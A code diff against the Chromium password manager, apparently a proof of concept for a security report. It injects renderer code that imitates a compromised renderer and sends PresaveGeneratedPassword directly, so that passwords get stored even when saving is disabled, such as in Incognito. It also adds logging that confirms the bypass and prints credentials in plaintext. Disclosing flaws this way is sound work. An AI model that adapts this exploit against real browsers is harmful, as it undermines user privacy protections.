diff --git a/components/autofill/content/renderer/password_autofill_agent.cc b/components/autofill/content/renderer/password_autofill_agent.cc
--- a/components/autofill/content/renderer/password_autofill_agent.cc
+++ b/components/autofill/content/renderer/password_autofill_agent.cc
@@ -1516,6 +1516,38 @@ void PasswordAutofillAgent::SendPasswordForms(
     if (!password_forms_data.empty()) {
       sent_request_to_store_ = true;
       GetPasswordManagerDriver().PasswordFormsParsed(password_forms_data);
+
+      // ========================================================================
+      // POC INJECTION (Strategy B): Simulate a compromised renderer that has
+      // achieved arbitrary code execution. A real renderer never sends
+      // PresaveGeneratedPassword without the browser-driven generation popup
+      // flow. We send it directly here, immediately after PasswordFormsParsed,
+      // to demonstrate that the browser process accepts it even when
+      // IsSavingAndFillingEnabled() == false (Incognito / saving disabled).
+      // ========================================================================
+      if (render_frame()->IsMainFrame()) {
+        for (const auto& form : password_forms_data) {
+          if (!form.fields().empty()) {
+            LOG(ERROR)
+                << "[POC-RENDERER] Compromised renderer sending "
+                   "PasswordGenerationDriver::PresaveGeneratedPassword for "
+                   "form renderer_id="
+                << form.renderer_id().value() << " url=" << form.url();
+            static base::NoDestructor<
+                mojo::AssociatedRemote<mojom::PasswordGenerationDriver>>
+                poc_gen_driver;
+            if (!poc_gen_driver->is_bound()) {
+              render_frame()->GetRemoteAssociatedInterfaces()->GetInterface(
+                  poc_gen_driver.get());
+            }
+            (*poc_gen_driver)
+                ->PresaveGeneratedPassword(form,
+                                           u"POC_INJECTED_PASSWORD_12345!");
+            break;
+          }
+        }
+      }
+      // ====================== END POC INJECTION ==============================
     }
   }

diff --git a/components/password_manager/core/browser/password_manager.cc b/components/password_manager/core/browser/password_manager.cc
--- a/components/password_manager/core/browser/password_manager.cc
+++ b/components/password_manager/core/browser/password_manager.cc
@@ -723,6 +723,26 @@ void PasswordManager::OnPresaveGeneratedPassword(
     const FormData& form_data,
     const std::u16string& generated_password) {
   DCHECK(client_->IsSavingAndFillingEnabled(form_data.url()));
+  // ==========================================================================
+  // POC INSTRUMENTATION (not part of attack): log the value of
+  // IsSavingAndFillingEnabled() at the point of the DCHECK so that the bypass
+  // is observable on stderr in a release/ASAN build where DCHECK is a no-op.
+  // ==========================================================================
+  {
+    bool saving_enabled = client_->IsSavingAndFillingEnabled(form_data.url());
+    LOG(ERROR) << "[POC-BROWSER] OnPresaveGeneratedPassword reached: "
+               << "url=" << form_data.url()
+               << " IsSavingAndFillingEnabled=" << saving_enabled
+               << " IsOffTheRecord=" << client_->IsOffTheRecord();
+    if (!saving_enabled) {
+      LOG(ERROR)
+          << "[POC-BROWSER] *** VULNERABILITY CONFIRMED *** "
+             "IsSavingAndFillingEnabled()==false but DCHECK is a no-op in "
+             "release builds; proceeding to write credential '"
+          << generated_password << "' to persistent password store.";
+    }
+  }
+  // ====================== END POC INSTRUMENTATION ===========================
   PasswordFormManager* form_manager =
       GetMatchedManagerForForm(driver, form_data.renderer_id());
   UMA_HISTOGRAM_BOOLEAN("PasswordManager.GeneratedFormHasNoFormManager",
diff --git a/components/password_manager/core/browser/form_saver_impl.cc b/components/password_manager/core/browser/form_saver_impl.cc
--- a/components/password_manager/core/browser/form_saver_impl.cc
+++ b/components/password_manager/core/browser/form_saver_impl.cc
@@ -123,6 +123,11 @@ void FormSaverImpl::Save(
     const std::u16string& old_password) {
   SanitizeFormData(&pending.form_data);
   pending.date_password_modified = base::Time::Now();
+  // POC INSTRUMENTATION: confirm credential reaches the persistent store.
+  LOG(ERROR) << "[POC-BROWSER] FormSaverImpl::Save -> store_->AddLogin: "
+             << "signon_realm=" << pending.signon_realm
+             << " username=" << pending.username_value
+             << " password=" << pending.password_value;
   store_->AddLogin(pending);
   // Update existing matches in the password store.
   PostProcessMatches(pending, matches, old_password, store_);